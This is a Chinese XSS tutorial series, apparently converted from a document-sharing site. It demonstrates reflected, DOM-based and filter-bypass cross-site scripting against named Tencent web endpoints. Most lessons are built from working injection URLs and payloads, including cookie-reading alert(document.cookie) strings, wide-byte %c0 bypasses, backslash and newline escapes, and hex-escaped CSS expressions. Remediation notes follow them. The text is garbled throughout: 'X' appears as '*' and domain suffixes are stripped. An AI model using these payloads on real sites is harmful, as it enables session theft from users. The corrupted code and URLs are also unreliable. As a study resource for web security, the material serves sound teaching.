版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領
文檔簡介
-.z.目錄1.什么都沒過濾的入門情況12.輸出在<script></script>之間的情況33.輸出在HTML屬性里的情況54.寬字節(jié)復仇記[QQ基本通用]105.反斜線復仇記136.換行符復仇記177.寬字節(jié)、反斜線與換行符一起復仇記198.Dom*ss入門[顯式輸出]229.Dom*ss入門[隱式輸出]2610.Dom*ss進階[邂逅eval]3411.Dom*ss進階[善變iframe]3812.Dom*ss進階[路徑con]4213.Dom*ss實例[Discuz*2.5]4714.Flash*ss入門[navigateToURL]5115.Flash*ss進階[E*ternalInterface.call第一個參數]5616.Flash*ss進階[E*ternalInterface.call第二個參數]6117.*SS過濾器繞過[通用繞過]6718.*SS過濾器繞過[猥瑣繞過]6919.存儲型*SS入門[什么都沒過濾的情況]7220.存儲型*SS入門[套現繞過富文本]7621.存儲型*SS進階[猜測規(guī)則,利用FlashaddCallback構造*SS]791.什么都沒過濾的入門情況只是些反射型*SS,單單發(fā)出來沒有什么意義。只是些反射型*SS,騰訊怎么修都修不完。只是些反射型*SS,我想讓它變得更有價值。只是些反射型*SS,我拿他們做成了教程。1.*SS的存在,一定是伴隨著輸入,與輸出2個概念的。2.要想過濾掉*SS,你可以在輸入層面過濾,也可以在輸出層面過濾。3.如果輸入和輸出都沒過濾。則漏洞將是顯而易見的。4.作為第一個最基礎的例子,我們拿出的是一個什么都沒過濾(其實還是有些轉義的,主要沒過濾<,>)的例子。這種例子出現在騰訊這種大的概率不是很高。但是還是讓我找到了一個。5.app.data.qq./"umod=mentsoutlet&act=count&siteid=3&libid=9&dataid=1480&score=1&func=haoping&_=866.對于上面這個例子。我們可以看到什么是輸入,什么是輸出。7.經過測試,我們發(fā)現,score這個【輸入】參數,沒有進行任何過濾,即,輸入是什么,輸出就是什么?通俗點就是“吃什么,拉什么”。。。如下圖:網頁中看到的效果如下:8.既然可以直接輸入<>HTML標簽,接下來的利用也就相對簡單了。app.data.qq./"umod=mentsoutlet&act=count&siteid=3&libid=9&dataid=1480&score=<imgsrc=1onerror=alert(1);>&func=haoping&_=86效果如下:修復方案:這種*SS屬于最基本的一類*SS,也最好防御。。它的模型是:<HTML標簽></HTML標簽>[輸出]<HTML標簽></HTML標簽>或<HTML標簽>[輸出]</HTML標簽>a.通常,我們只需要在輸出前,將<,>過濾掉即可。b.這類*SS在小型中比較常見,在大型中少見。c.這類*SS通常都被瀏覽器的*SS過濾器秒殺了,所以一般來說,威力較小。d.對于普通用戶來說,請使用IE8及以上版本(并開啟*SS過濾器功能,默認開啟),或chrome瀏覽器,將可以防御大部分此種類型的*SS攻擊2.輸出在<script></script>之間的情況接著上面一個教程,我們繼續(xù)。這個例子屬于第一例的特殊情況,當然也有特殊解法。也屬于非常常見的一種情況。1.我們找到這么一個點,也是輸入和輸出都未過濾的一個點。相比教程第一例,其特殊之處在于,是輸出在了<script>[輸出]</script>之間。activity.soso./mon/setParentsInfo.php"callback=aaaaaaaaa如下圖:callback參數未做過濾。在【查看源代碼】下,我們可以看到。缺陷網頁源代碼:<scripttype='te*t/javascript'>document.domain='soso.';_ret={"_res":2};try{parent.aaa(_ret);}catch(err){aaa(_ret);}</script>2.碰到這種情況,我們一般有以下解法。2.1首先判斷,是否過濾了<,>,/等符號,2.2如果都沒有過濾,恭喜你,一般可以直接*SS了。代碼如下:activity.soso./mon/setParentsInfo.php"callback=aaaaaaaaa</script><script>alert(1)</script>原理入下圖:構造callback參數后的源代碼<scripttype='te*t/javascript'>document.domain='soso.';_ret={"_res":2};try{parent.aaaaaaaaa</script><script>alert(1)</script>(_ret);}catch(err){aaaaaaaaa</script><script>alert(1)</script>(_ret);}</script>2.3如果過濾了<,>,則就無法使用上面的辦法了。我們接著看33.script代碼里的構造。友情提示:這里可能需要一點點javascript的知識才行哦~~我們可以如下構造:activity.soso./mon/setParentsInfo.php"callback=eval('alert(1)');void可以看到,源代碼是下面的樣子。也就是說,我們插入的內容,使得這一段javascript依然【語法正確】,能夠【正確執(zhí)行】,并且能夠執(zhí)行【我們所插入的JS代碼】,這樣我們的目的就達到了。構造后的源代碼如下:<scripttype='te*t/javascript'>document.domain='soso.';_ret={"_res":2};try{parent.eval('alert(1)');void(_ret);}catch(err){eval('alert(1)');void(_ret);}</script>4.這種輸出在JS代碼里的情況十分常見,但是呢?不幸的是,像這樣沒過濾的情況,卻不是很常見。例如:vara="[輸出]";//通常程序員會把"過濾掉,這樣的話,一般來說,我們就很難構造。但是,這并不是說,就一定是不能利用,后面我們會拿騰訊一些【比較有意思】的例子,來進一步說到這個【輸出在js里】的情況的~修復方案:這類*SS的模型通常是:<script>...[輸出]...</script><style>...[輸出]...</script>解決方案:1.過濾</***>組合2.針對輸出在不同的場景,進行合適的過濾。3.輸出在HTML屬性里的情況和前面的不一樣的時,有時候,輸出會出現在HTML標簽的屬性之中。例如:<inputvalue="輸出">、<imgonload="...[輸出]...">,再比如<bodystyle="...[輸出]...">..這個時候怎么辦呢?1.大一般不是吃素的。前面講到的基本情況,一般都很少遇到了。2.這個時候我們可以把目光發(fā)展一下,找一找在【輸出】出現在HTML屬性里的情況。3.最為典型的一種情況,是下面這樣的。****./search.php"word=烏云歡迎您HTML代碼里則是下面這樣情況的。..關鍵詞:<inputtype="te*t"value="烏云歡迎您"/>如果這里的word沒過濾雙引號。就會有以下的情況發(fā)生。****./search.php"word=烏云歡迎您"onclick="alert(1)對應的源代碼如下:<inputtype="te*t"value="烏云歡迎您"onclick="alert(1)"/>解析:則當用戶點擊這個文本框時,就會觸發(fā)alert(1)。4.當然理想是美好的,現實總是殘酷的,我水平有限,并沒有在騰訊找到這樣的例子。因為絕大部分這樣的情況,騰訊都會做出相應的過濾。過濾方法也挺簡單,將"過濾為"就行。過濾后的代碼如下:<inputtype="te*t"value="烏云歡迎您"onclick="alert(1)"/>5.一般來說,上面的情況,過濾了",可以說是高枕無憂了,但是事實并非如此。*些情況下。我們依然可以繼續(xù)*SS。下面以騰訊為例。6.首先看第一種場景。follow.v.t.qq./inde*.php"c=follow&a=inde*&appkey=801004516&bg=我是一個兵,愛國愛人民&hsize=80&name=Zhanglifenft,chengyizhong,*iangyang20112007,linchufang,leonardoit,linchufang,qingfeng*u6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,j*zhongweizhi,lihaipengt*這里的bg參數過濾了【幾乎】所有的東西。但是它輸出在了<bodystyle="[這里]">更重要的是,這里沒有過濾\,反斜線,而css里,允許使用轉義字符,\+ascii16進制形式。這樣一來,我們就可以構造利用語句啦。這里過濾了e*pression,我們也可以輕松的用e*pr\65ssion繞過。follow.v.t.qq./inde*.php"c=follow&a=inde*&appkey=801004516&bg=;w:e*pr\65ssion\28%20eval\28\27\69\66\28\21\77\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\29\3b\77\69\6e\64\6f\77\2e\78\3d\31\7d\27\29\29&hsize=80&name=Zhanglifenft,chengyizhong,*iangyang20112007,linchufang,leonardoit,linchufang,qingfeng*u6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,j*zhongweizhi,lihaipengt*效果如下:這種情況,遺憾之處在于,基于csse*pression的*SS已經進入暮年了,只有在IE6,7下方能觸發(fā),受眾面小。這里只是作為一個案例來講講。Tips:至于這里的轉義是如何寫的:步驟如下:例如e的ascii16進制是65,我們就寫為\65e*pression->e*pr\65ssion。本例缺陷點代碼:<bodystyle="overflow:auto;background-color:*我是一個兵,愛國愛人民;">7.再來看下一個在屬性里的案例。這個例子也是比較常見的。比如:<HTML標簽on****="...[輸出在這里]..">的例子。<ahref="javascript:[輸出在這里]">****</a>的例子。正好,在騰訊的這個例子中,以上2個情況一起出現了。我們以其中一種進行講解。stock.finance.qq./report/search.php"searchtype_yg=yjjg&searchvalue_yg=aaaaaaaaaa看輸出,如下,aaaaaaaa出現在了2個點。常規(guī)來說,因為on****="[輸出]"和href="javascript:[輸出]"與<script>[輸出]</script>沒有太大區(qū)別。因為[輸出]所在的地方,都是javascript腳本。但是<script>[輸出]</script>如果被過濾,往往沒有太好的辦法。而上面這2種情況,則有一個很好的辦法繞過過濾。Tips:在HTML屬性中,會自動對實體字符進行轉義。一個簡單的比方。<imgsrc="1"onerror="alert(1)">和<imgsrc="1"onerror="alert&**28;1&**29;">是等效的換言之,只要上面的情況,沒有過濾&,*等符號,我們就可以寫入任意字符??纯慈毕蔹c的代碼<li><inputtype="te*t"id="pagenum"class="inputstyle0814"onkeydown="if((event.keyCode==13)&&(this.value!=''))location.href='stock.finance.qq./report/search.php"offset='+this.value+'&searchtype_yg=yjjg&searchvalue_yg=aaaaaaaaaa'"/></li>JS部分我們可以做以下構造,由于'被過濾,我們可以將'寫為&**27;location.href='&searchvalue_yg=aaaaaa'location.href='&searchvalue_yg=aaaaaa'+alert(1)+''location.href='&searchvalue_yg=aaaaaa&**27;+alert(1)+&**27;'步驟如下:接著我們把代碼轉換為url的編碼。&->%26,*->%23最后利用代碼如下:stock.finance.qq./report/search.php"searchtype_yg=yjjg&searchvalue_yg=aaaaaaa%26%23*27;%2balert(1)%2b%26%23*27;用戶點擊頁面[GO]按鈕觸發(fā)。由于缺陷點是發(fā)生在onkeydown或a標簽的href屬性中,無法自動觸發(fā),因而使得威脅減小,如果是發(fā)生在img的onload屬性,則非??赡軐е伦詣佑|發(fā)。缺陷頁面的<ahref="">觸發(fā)點的代碼如下:<li><divclass="yebg"><ahref="javascript:location='stock.finance.qq./report/search.php"offset='+document.getElementById('pagenum').value+'&searchtype_yg=yjjg&searchvalue_yg=aaaaaaaaaa'">GO</a></div></li>修復方案:1.對于輸出在HTML屬性中的情況,需要特殊情況特殊對待,該過濾\的時候,請過濾\,該過濾&的情況,則過濾掉&2.碰到有*些修復的人用正則去判斷,&**NNN..,而實際上&**0NN;&**00NN,(后面自己慢慢試。。)都是可以的。或者是&*10進制;以及一些特殊的HTML實體,如"等,都要注意到,好麻煩,最好的辦法,還是&過濾為&:)4.寬字節(jié)復仇記[QQ基本通用]前面教程第2節(jié),說到了輸出在<script>..</script>之間的情況。也說到了后面會再繼續(xù)一些有意思的例子。實際上,我們碰到的往往不是則好。很多情況下,程序員都是會過濾的。則我們怎么辦呢?“因地制宜,因材施教?!备鶕┒吹膶嶋H情況,我們可以各種繞過。不知道這里亂用成語沒啊。惶恐不安中。這里先看看第一種方法,寬字節(jié)繞過。詳細說明:1.有一個比較經典的SQL注入,是寬字節(jié)注入。玩滲透的可能對這個都比較清楚。2.有時候,寬字節(jié)確實可以帶來奇效~~下面我們看騰訊的一個例子。3.例子如下:open.mail.qq./cgi-bin/qm_help_mailme"sid=,2,zh_&t=%22;alert(1);//aaaaaa我們嘗試注入"來閉合前面的雙引號,但是很悲劇的是,雙引號被過濾了。。如下圖:看到這種情況,一般人估計會放棄了吧,至少說明程序員注意到了這里,并且過濾了。然后我們可以看到編碼是:<metahttp-equiv="Content-Type"content="te*t/html;charset=gb18030"/>gb****系列的編碼,則我們嘗試一下寬字節(jié)呢?open.mail.qq./cgi-bin/qm_help_mailme"sid=,2,zh_&t=%c0%22;alert(1);//aaaaaa看看效果:彈個窗:利用寬字節(jié),我們華麗的復仇了“騰訊對雙引號的屠殺”。至于這個漏洞的成因,和傳統(tǒng)的寬字節(jié)漏洞并不一樣。目測應該是由于過濾雙引號的正則表達式寫得有問題造成的。并不是因為%22變成了%5c%22,而%c0吃掉了后面的%5c。而后面這種情況,在騰訊的相關站點暫時沒有發(fā)現實際案例。如果有,歡迎大家分享。不一一列舉了。有這個參數的基本都有問題。msgopt.mail.qq./cgi-bin/readtemplate"sid=ktqO7DjMQcJuAABQ&folderid=9&page=0&t=aaaa%c0%22;alert(1);//bbbb*&loc=folderlist,,,9r.mail.qq./cgi-bin/reader_main"sid=ktqO7DjMQcJuAABQ&t=aaaa%c0"bbbb*&source=folderlisthttps://e*mail.qq./cgi-bin/bizmail"sid=N7fzoGwkeI8ydyRo,7&action=show_user&alias=zhaopinucanlove.&t=%c0"ccccbbbb*&s=showaccounthttps://e*mail.qq./cgi-bin/loginpage"errtype=3&verify=true&clientuin=info&t=dm_loginpage&d=fartech.&s=&alias=®alias=&delegate_url=&title=&url=%2Fcgi-bin%2Flogin%3F&org_fun=&aliastype=other&ss=&from=&autologin=n¶m=&sp=&r=b63f6de34c24eeb8a3099ab4bbfc1b8d&ppp=&secpp=%c0%22onmousebbbb=alert(document.cookie);//&dmtype=bizmailopen.mail.qq./cgi-bin/qm_help_mailme"sid=,2,zh_&t=%c0"ccccbbbb*open.mail.qq./cgi-bin/munication"sid=,2,zh_&t=%c0"ccccbbbb*&action=open.mail.qq./cgi-bin/feedback_loop"sid=,2,zh_&check=false&t=%c0"ccccbbbb*&action=e*mail.qq./cgi-bin/viewdocument"sid=H6Mg9z5*NfqsfhdH,7&filename=%CC%EC%BD%F2%BB%C6%BD%F0%C8%D5%D6%DC%C6%C00917.doc&mailid=ZL2017-RfnEvncOeLfhJ04eTPrSU29&retry=true&t=%c0%22ccccbbbb*&ef=qfuncreader.qq./cgi-bin/rss_main"sid=MTOtOYwp*56MMzN9&t=aaaa%c0%22;alert(document.cookie);//bbbb*&s=mag&r=222&init=true&update=1修復方案:修復相關過濾機制。5.反斜線復仇記還是在<script>之間的場景,*些情況下,我們僅僅需要的只是一個反斜線,就可以繞過過濾了。詳細說明:1.有以下實例點。mail.qq./cgi-bin/login"vt=passport&ss=aaa&from=bbb&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dinde*%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1對應的輸出,如下圖所示:經過測試,我們可以看到,雙引號是用不了,但是反斜線還可以使用。則這里是否可以成功的*SS呢?我們把缺陷代碼部分提取出來。<script>getTop().location.href="/cgi-bin/loginpage"autologin=n&errtype=1&verify=&clientuin="+"&t="+"&alias="+"®alias="+"&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%252Fcgi-bin%252Fsetting10%253Faction%253Dlist%2526t%253Dsetting10%2526ss%253Dinde*%2526Mtype%253D1%2526clickpos%253D20%2526loc%253Ddelegate%252Cwebmap%252C%252C1"+"&title="+"&url=%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26ss%3Daaa%2522%26from%3Dbbb%5C%26delegate_url%3D%252Fcgi-bin%252Fframe_html%253Furl%253D%2525252Fcgi-bin%2525252Fsetting10%2525253Faction%2525253Dlist%25252526t%2525253Dsetting10%25252526ss%2525253Dinde*%25252526Mtype%2525253D1%25252526clickpos%2525253D20%25252526loc%2525253Ddelegate%2525252Cwebmap%2525252C%2525252C1"+"&org_fun="+"&aliastype="+"&ss=aaa"+"&from=bbb"+"¶m="+"&sp=6fa57ce5b3047ebMTM1NTQwOTA2Mg"+"&r=3ec785174fff5206ed6f0cf4a8c5e3c5"+"&ppp="+"&secpp="</script>2.可以看到有缺陷的部分是location.href=""+"&ss=aaaa"+"&from=bbb"+"¶m=";//后面省略。我們可以控制的是aaaa,又不能用",怎么辦呢?因為我們可以使用\,則我們可以殺掉aaaa后面的雙引號。location.href=""+"&ss=aaaa\"+"&from=bbb"+"¶m=";可以看到代碼的結果因為一個反斜線發(fā)生了變化,如下圖:為了保證bbb后面的語法正確性,我們把bbb改為一個數字,把bbb后面加上//來注釋掉后面的部分。變成以下形式。location.href=""+"&ss=aaaa\"+"&from=1//"+"¶m=";3.看起來不錯哦,但是會出來一些問題,"字符串"&from=1,這樣是錯誤的,因為&符號的優(yōu)先級高,("字符串"&from)=1是無法進行這種賦值操作的。這樣一來還是不行。別著急。我們可以稍微改動一下。變?yōu)橐韵滦问健ocation.href=""+"&ss=aaaa\"+"&from==1//"+"¶m=";由于==的優(yōu)先級比&高,所以語句相當于("字符串")&(from==1)4.更順眼了,但是還是會悲劇啊。由于from未定義,直接和1進行相等判斷的話,會報錯,錯誤是:“from”未定義。。。怎么辦呢?5.別緊*,javascript里有一個特性。如下:aaa();functionaaa(){}凡是以function***(){}形式定義的函數,都會被最優(yōu)先解析。換句話說:解析器在解析JS代碼段時,會先將function***(){}拿到最前面解析,然后再依次解析其它的部分。換句話說,上面的代碼,實際的解析順序是:functionaaa(){}aaa();利用這樣一個特性,我們的代碼可以改改。location.href=""+"&ss=aaaa\"+"&from==1;functionfrom(){}//"+"¶m=";這樣一來,我們的functionfrom(){}就會被提前解析,從而定義了from,后面from==1的時候,就不會報錯啦~~6.故事往往是曲折的,到了這一步,我們會發(fā)現還是不行??匆豢丛创a吧~~,哎,我們的空格被轉義為了 7.當然,這么一點小事情,難不到我們的,我們用注釋符來做分隔符。/**/替換空格,有沒有覺得和sql注入一樣了,咔咔。于是,我們的代碼變?yōu)榱耍簂ocation.href=""+"&ss=aaaa\"+"&from==1;function/**/from(){}//"+"¶m=";8.嗯,這次沒有語法錯誤了,我們插入我們自己的JS代碼。location.href=""+"&ss=aaaa\"+"&from==1;alert(1);function/**/from(){}//"+"¶m=";最終的利用代碼如下:mail.qq./cgi-bin/login"vt=passport&ss=\&from==0;alert(1);function/**/from(){};//&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dinde*%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1恩,這次是我們的反斜線為雙引號報仇啦!只有在不登錄QQ的情況下觸發(fā),比較雞肋,實際意義不大,僅供研究。修復方案:1.隨便修修就好。2.*些情況下,\還是很危險的。6.換行符復仇記還是在<script>之間的場景,*些情況下,我們僅僅需要的只是一個換行符,就可以繞過過濾了。它讓雙引號,尖括號知道了“它們不是一個符號在戰(zhàn)斗”。
1.實際場景是下面這個例子。datalib.games.qq./cgi-bin/search"libid=178&FilterAttrAND=3602&FilterValueAND=aaaaaaaaaa
對應的,我們可以看到我們的輸入aaaaaaaaa會在頁面的哪些輸出點出現呢?
2.不錯,一共有5處,有在HTML標簽之間的(教程1),也有在<script>..</script>之間的。但是呢,該過濾的,<,>過濾掉了,該過濾的",也過濾掉了。。
3.也就是說傳統(tǒng)的已經不行啦,我們繼續(xù)看5處的其他地方。呀,竟然還有一大段注釋里,也出現了我們的【輸出】
4.嗯,這樣一來,是否會想到這樣一個用法呢?//我是注釋,我愛洗澡,哦~哦~哦~[我是輸出]
如果可以使用換行符的話。//我是注釋,我愛洗澡,哦~哦~哦~[我是輸出換行符
alert(1);//我是輸出]
這樣alert(1);就會被成功執(zhí)行。5.恩,帶著這樣一個想法,我們不難構造出以下利用。datalib.games.qq./cgi-bin/search"libid=178&FilterAttrAND=3602&FilterValueAND=%0aalert(1);//
看下輸出。嘿,果然沒過濾。
6.這樣,這一次我們的換行符立功了,它不是一個符號在戰(zhàn)斗!
修復方案:
盡量不要在JS的注釋里輸出內容。還挺危險的。7.寬字節(jié)、反斜線與換行符一起復仇記這一次,3個家伙一起上啦~
1.實例點如下:cgi.data.tech.qq./inde*.php"mod=search&type=data&site=digi&libid=2&curpage=1&pagenum=30&filterattr=138,138|16|4,5,4,5&filtervalue=3500-4000,%B4%F3%D3%DA4000|%D0%FD%D7%AA|WCDMA,WCDMA,HSDPA,HSDPA&tplname=centersearch.shtml&orderby=aaaaaaaaaaaa
老規(guī)矩,繼續(xù)看我們的輸出。
2.一共有3處輸出,位于HTML屬性里的那一處,我們放棄了,因為雙引號被滅掉了。則還剩下2處。都是位于<script>..</script>里,而且挨在了一起。3.先看第2處,是不是似曾相似???對的,教程6里剛剛遇到過。那就是輸出在【注釋】的情況。我們用換行符試試?
4.一條是好消息,換行可以用,一條是壞消息。。下面出現的一句壞了我們的好事。。腫么辦。5.這個時候,我們需要先說點javascript的知識。javascript,字符串允許下面多行的寫法。vara="我是一個字符串\
我還是一個字符串";alert(a);
6.基于這點,我們可以把缺陷點構造成下面的樣子。//document.getElementById("order_select").value="aaaa\
alert(1);//";varsearchOrder="aaaa\
alert(1);//";
則代碼構造的解析如下:
7.帶著這個想法,請上我們的反斜線。。
8.悲劇的是,反斜線被過濾成了2個\\,這下不好辦了。9.還記得在教程4里,我們提到的寬字節(jié)用法么?說到了%c0可以吃掉%5c。我們看看頁面的編碼。<metahttp-equiv="Content-Type"content="te*t/html;charset=gb2312"/>
gb***系列的啊,竊喜中。10.于是,我們的%c0也加入戰(zhàn)斗了。cgi.data.tech.qq./inde*.php"mod=search&type=data&site=digi&libid=2&curpage=1&pagenum=30&filterattr=138,138|16|4,5,4,5&filtervalue=3500-4000,%B4%F3%D3%DA4000|%D0%FD%D7%AA|WCDMA,WCDMA,HSDPA,HSDPA&tplname=centersearch.shtml&orderby=aaaa%c0%5c%0aalert(1);//
看看源碼中的輸出。\\被我們變成了亂碼+\
11.此時,標點符號們正在開會,開會的主題是:“大家好,才是真的好”
修復方案:
參加前面教程:
那些年我們一起學*SS-4.寬字節(jié)復仇記[QQ基本通用]那些年我們一起學*SS-5.反斜線復仇記那些年我們一起學*SS-6.換行符復仇記8.Dom*ss入門[顯式輸出] 、反射型*SS部分,就到這里了。接著我們進入Dom*ss的部分。Dom*ss相比反射型*SS,腦袋需要多思考一層。也就是說,我們關注的不僅是【輸出】了什么,還要了解這個頁面里,【javascript】拿這個【輸出】干了什么。為了循序漸進,本例講到的是,【輸出】直接在源代碼可見的情況。
1.在學習Dom*ss之前,先來補習點html,js的基礎知識。<divid="a">***</div><script>
document.getElementById("a").innerHTML="yyyyyy";
</script>
解釋如下:
2.進一步,我們的yyyyyy,還可以是HTML代碼。<divid="a">***</div><script>
document.getElementById("a").innerHTML="<imgsrc=1>";
</script>
效果如下:
3.再進一步,JS的字符串中的字符可以寫為unicode編碼。譬如:<可以表示為\u003c,>可以表示為\u003e不知道怎么轉義的,可以使用gainover的工具。工具地址:app.baidu./app/enter"appid=280383
也就是,我們上面的代碼,可以進一步寫為。<divid="a">***</div><script>
document.getElementById("a").innerHTML="\u003cimgsrc=1\u003e";
</script>
4.上面看起來廢話好多,但是還是很重要的,這對于后面實例的講解很重要。5.我們來看看一個具體的實例,地址如下:datalib.ent.qq./cgi-bin/search"libid=1&keyvalue=aaaaaaa&attr=133&stype=2&tname=star_second.shtml
和前面反射型的一樣,我們先看看輸出。
相關代碼,我也貼出來。<strongid="titleshow">按職業(yè)1檢索:aaaaaaa</strong></div>
<script>
if("aaaaaaa"=="")
document.getElementById("titleshow").innerHTML="按地區(qū)檢索:全部明星";if("職業(yè)1"=="職業(yè)1")
document.getElementById("titleshow").innerHTML="按職業(yè)檢索:aaaaaaa";if("職業(yè)1"=="職業(yè)2")
document.getElementById("titleshow").innerHTML="按職業(yè)檢索:aaaaaaa";if("職業(yè)1"=="職業(yè)3")
document.getElementById("titleshow").innerHTML="按職業(yè)檢索:aaaaaaa";
</script>
6.一共有6處,有一處圖上沒顯示,但是也沒用處,這里不列出來了,看上面代碼中的5處。我們已經知道,<,>,"都被過濾了,用前面提到的*些技巧,似乎也無法直接*SS。則該怎么辦呢?7.在看到本教程的1,2,3部分后,聰明的你們不知道會不會想到些什么呢?
對的,那就是這里出現了innerHTML="[輸出]"的情況。我們可以看到,上面代碼中,實際上只有一句是運行了的。我們重點看它。if("職業(yè)1"=="職業(yè)1")
document.getElementById("titleshow").innerHTML="按職業(yè)檢索:[輸出]";
8.這里[輸出]最然過濾了<,>,但是并沒有過濾\。這樣一來,大家應該清楚,為什么上面要說到<可以寫為\u003c了吧。就是為了應付這種情況。9.因此,我們可以構造缺陷點的代碼如下:if("職業(yè)1"=="職業(yè)1")
document.getElementById("titleshow").innerHTML="按職業(yè)檢索:\u003cimgsrc=1onerror=alert(1)\u003e";
經過運行后,titleshow里的HTML就會變?yōu)?lt;imgsrc=1onerror=alert(1)>,從而彈出1。對應的,我們的利用代碼,可以寫為如下,其中空格,我寫為了\u0020datalib.ent.qq./cgi-bin/search"libid=1&keyvalue=\u003Cimg\u0020src=1\u0020onerror=alert(1)\u003e&attr=133&stype=2&tname=star_second.shtml
看看對應的源代碼,悲催的事情出現了,\u003c和\u003e竟然被騰訊過濾了。。。
10.別灰心,被過濾的原因,是因為Jannock大牛報告過這個漏洞。跨站腳本-可以讓戰(zhàn)場離得更遠(淺談騰訊架構缺陷)11.其實我們還應該注意到上面圖片中,過濾的實際上是\u003c和\u003e,但是并沒有過濾\u0020,這說明,騰訊只是針對性的過濾,并沒有過濾反斜線。12.其實呢,在JS字符串里,<不光可以寫為\u003c,還可以寫為\*3c,>同樣可以寫為\*3e。我們試試騰訊過濾了這個沒有呢?datalib.ent.qq./cgi-bin/search"libid=1&keyvalue=\*3Cimg\u0020src=1\u0020onerror=alert(1)\*3e&attr=133&stype=2&tname=star_second.shtml
對應源碼,看來沒過濾啊~~
哎呀,這次總算彈出來了。見漏洞證明13.最后總結下。本例中是innerHTML的情況。實際上只要是與改變頁面HTML內容相關的操作,都可能導致這種問題。這也是網上介紹dom*ss時,也經常會提到的東西,比如
document.getElementById("y").innerHTML="**********";
document.write("************");還有一些,使用了第三方的JS庫,譬如jQuery時,會有$("*y").html("*******");14.當然最后,還需要提到一些需要注意的地方。aa.innerHTML="************";這種情況下。*****只能使用<imgsrc=1onerror=alert(1)>這種方式來觸發(fā)JS。而不能以<script>alert(1)</script>來觸發(fā),因為這種壓根不會執(zhí)行<script>..</script>之間的內容。IE下,可以使用<scriptdefer>alert(1)</script>。
修復方案:
此案例凸顯出開發(fā)人員的意識不足問題。指哪修哪,浮于表面的修復沒有任何意義。方法1.輸出時,過濾\
方法2.innerHTML=encodeHTML([輸出])9.Dom*ss入門[隱式輸出]上一篇開始說Dom*ss了,我們說的是顯式輸出的情況,即我們可以在右鍵查看源代碼的時候,看到我們所輸出的內容。而有一些時候,輸出操作我們是看不見的。它們通常發(fā)生在javascript代碼中。譬如:var*=location.href;這句Javascript實際上進行了一個隱藏的輸出操作,即將location.href的內容輸出到了*變量中。一起來看看相關的例子吧~前注:1-4是普通原理,沒看明白的話,可以從5開始,結合實際例子看。1.本來是有另外一個例子的,不過不知道是騰訊已經給修復了,還是之前測試的時候人品好,偶爾碰上了,總之現在用不上了。2.這樣一來,我們就只好用一個稍微復雜一點點的例子了。3.在說實際例子前,我們來說一個前端開發(fā)人員非常習慣使用的一段代碼。下面大致寫下偽代碼。functiongetParam(參數名){//獲取地址欄參數,通常是a=1&b=2&c=3;var*=location.search;//或者是location.hash//此時*=""a=1&b=2&c=3";//根據[參數名]取出參數名對應的值//例如參數名=a,則y=1//例如參數名=b,則y=2//至于這里怎么實現這個功能,可以用循環(huán),可以用inde*Of,可以用正則vary=參數名對應的參數值;//返回yreturny;}它的作用呢?就是從地址欄的參數里取出內容。譬如:.some./2.html"name=shouzi&age=20我們在2.html,要顯示name對應的值。對應的代碼則非常可能下面這樣寫:<divid="nick">加載中...</div><script>vara=getParam("name");//獲取地址欄里的name參數,即shouzidocument.getElementById("nick").innerHTML=a;</script>4.上面是普通開發(fā)人員為了實現功能而寫的代碼,如果沒有安全考慮,就會存在問題。如果上面的地址變?yōu)榱耍?some./2.html"name=<imgsrc=1onerror=alert(1)>&age=20則變量a將會等于<imgsrc=1onerror=alert(1)>document.getElementById("nick").innerHTML=a;即變成了document.getElementById("nick").innerHTML="<imgsrc=1onerror=alert(1)>";這樣就變成了教程8中的情景,從而觸發(fā)*SS。5.接著我們看一個實際的例子。qt.qq./video/play_video.htm"sid=aaaaaa和原來的不同,我們在源代碼里搜索不到東西的哦~那可能這里有人會有一個疑問了。那我們怎么知道有沒有漏洞呢?別擔心,方法是有的。這里以chrome為例,按F12,打開調試工具,見下圖和查看源代碼沒有什么不同,只是這次是在調試工具里看而已。6.通過上面的方式,確定【可能】有漏洞之后。我們可以有2個方式來進行下一步。6.1直接根據調試工具里看到的HTML代碼情況,來構造利用代碼。優(yōu)點:省時間,缺點:如果對方有一定過濾,就很難構造6.2定位到與這個缺陷參數sid相關的JS代碼,再來構造利用代碼。優(yōu)點:能利用一些復雜的情況,缺點:耗時間。7.對于新手來說,先看6.1的情況??吹讲襟E5里面的那個圖。我們可以構造以下代碼。<objectwidth="100%"height="100%"id="f"classid="clsid:d27cdb6e-ae6d-11cf-96b8-0"codebase="fpdownload.macromedia./pub/shockwave/cabs/flash/swflash.cab*version=8,0,0,0"><paramname="movie"value="aaaaaa"></object><imgsrc="1"onerror="alert(1)">...其它的省略了...</object>對應的圖片解析:進而“試探性”的測試一下利用代碼,因為我們不知道對方會不會過濾掉“雙引號”,“括號”之類的,只能試試了。。qt.qq./video/play_video.htm"sid=aaaaaa"></object><imgsrc="1"onerror="alert(1)沒反應,我們繼續(xù)看看調試工具,發(fā)現,雙引號,變成了\\"。根據這個情況,我們可以進一步修改代碼。<img>標簽里不使用雙引號。qt.qq./video/play_video.htm"sid=aaaaaa"></object><imgsrc=1onerror=alert(1)>這次OK啦??梢钥吹?,這種方式,寫利用代碼很快。8.再來看看6.2的方法。既然我們知道了,sid這個參數會被使用。則我們的目標是,javascript的代碼里哪里使用了sid這個參數呢?9.我們首先,F12打開調試工具,點【Resources】,再點Frames,然后Ctrl+F搜索"sid"或者'sid'我們運氣很好,一下就定位到了一個sid。10.可以看到是getUrlPara("sid"),從單詞,我們不難猜出,getUrlPara就是前面我們提到的“獲取地址欄參數“的函數。為了進一步確定,我們可以很方便的在console里查看getUrlParam函數是啥樣的。可以看到,實際上getUrlParam是對<,>做了過濾,但是由于chrome瀏覽器自身的*SS防御機制,導